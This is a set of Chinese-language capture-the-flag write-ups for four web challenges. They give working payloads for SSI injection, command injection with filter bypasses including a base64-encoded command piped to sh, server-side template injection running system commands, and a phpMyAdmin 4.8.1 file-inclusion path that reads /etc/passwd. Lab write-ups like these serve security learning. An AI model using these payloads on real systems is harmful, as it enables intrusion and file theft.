[BJDCTF2020]EasySearch
掃描一下目錄,發現.swp備份文件源碼泄露
<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>
審計一下,邏輯是首先隨機獲取文件名的一個函數,讓password前6個字符的md5加密值等於6d0bc1,然后會在public目錄下創建一個shtml文件,再將post傳參的username字段寫入這個shtml文件中。
前6個字符的md5值等於6d0bc1的腳本如下:
import hashlib def md5(s): return hashlib.md5(s.encode('utf-8')).hexdigest() for i in range(1, 10000000): if md5(str(i)).startswith('6d0bc1'): print(i) break
跑出結果是2020666,先測試一下網站基本功能,用戶名aaa,密碼2020666登錄進去,在network處獲得文件路徑(抓包也可以看到)
訪問查看結果
利用SSI注入漏洞,我們可以在username變量中傳入ssi語句來遠程執行系統命令。
<!--#exec cmd="命令"-->
(shtml是一種基於SSI技術的文件。SSI 注入全稱Server-Side Includes Injection,即服務端包含注入。SSI 是類似於 CGI,用於動態頁面的指令。SSI 注入允許遠程在 Web 應用中注入腳本來執行代碼。SSI是嵌入HTML頁面中的指令,在頁面被提供時由服務器進行運算,以對現有HTML頁面增加動態生成的內容,而無須通過CGI程序提供其整個頁面,或者使用其他動態技術。從技術角度上來說,SSI就是在HTML文件中,可以通過注釋行調用的命令或指針,即允許通過在HTML頁面注入腳本或遠程執行任意代碼。IIS和Apache都可以開啟SSI功能)
(SSI注入的條件:
1.Web 服務器已支持SSI(服務器端包含)
2.Web 應用程序未對對相關SSI關鍵字做過濾
3.Web 應用程序在返回響應的HTML頁面時,嵌入用戶輸入)
輸入payload:<!--#exec cmd="ls ../"-->登錄,訪問network處的url
訪問flag_990c66bf85a09c664f0b6741840499b2目錄后得到flag
參考:
http://www.mamicode.com/info-detail-2936273.html
https://blog.csdn.net/qq_40657585/article/details/84260844
http://blog.gr0wth.top/index.php/00000/137.html
[GXYCTF2019]Ping Ping Ping
打開題目,提示在 url 傳入 ip 參數
傳入 127.0.0.1 發現服務器執行 ping 命令
用分號拼接 linux 命令(順便復習一下命令連接符分號是依次順序執行;&&第一個命令成功第二個命令才會執行;||第一個命令成功第二個命令不執行,第一個命令失敗第二個執行;|是命令1的正確輸出作為命令2的操作對象)
過濾了空格,$IFS$9 繞過后也無法直接讀取 flag.php,先讀一下 index.php(若不過濾的話,還有 ${IFS}、<、<> 等多種方式可以繞過過濾空格)
payload1,內聯執行,將反引號內命令的輸出作為輸入執行
/?ip=127.0.0.1;cat$IFS$1`ls`
payload2,命令執行變量拼接
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
payload3,過濾 flag、bash,用 sh 執行(Y2F0IGZsYWcucGhw 是 cat flag.php 的 base64-encode)
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
參考:
https://www.ghtwf01.cn/index.php/archives/273/
[BJDCTF2020]The mystery of ip
瀏覽題目 flag.php 頁面和 ip 有關,發現 Client-IP 和 XFF 可以控制輸入
嘗試邏輯運算 {1*2} 和執行系統命令 {system('cat /flag')} 得到 flag
[GWCTF 2019]我有一個數據庫
掃目錄發現 /phpmyadmin,版本是 4.8.1
存在文件包含漏洞,使用網上的 payload 讀到 flag
?target=db_datadict.php%253f/../../../../../../../../etc/passwd ?target=db_datadict.php%253f/../../../../../../../../flag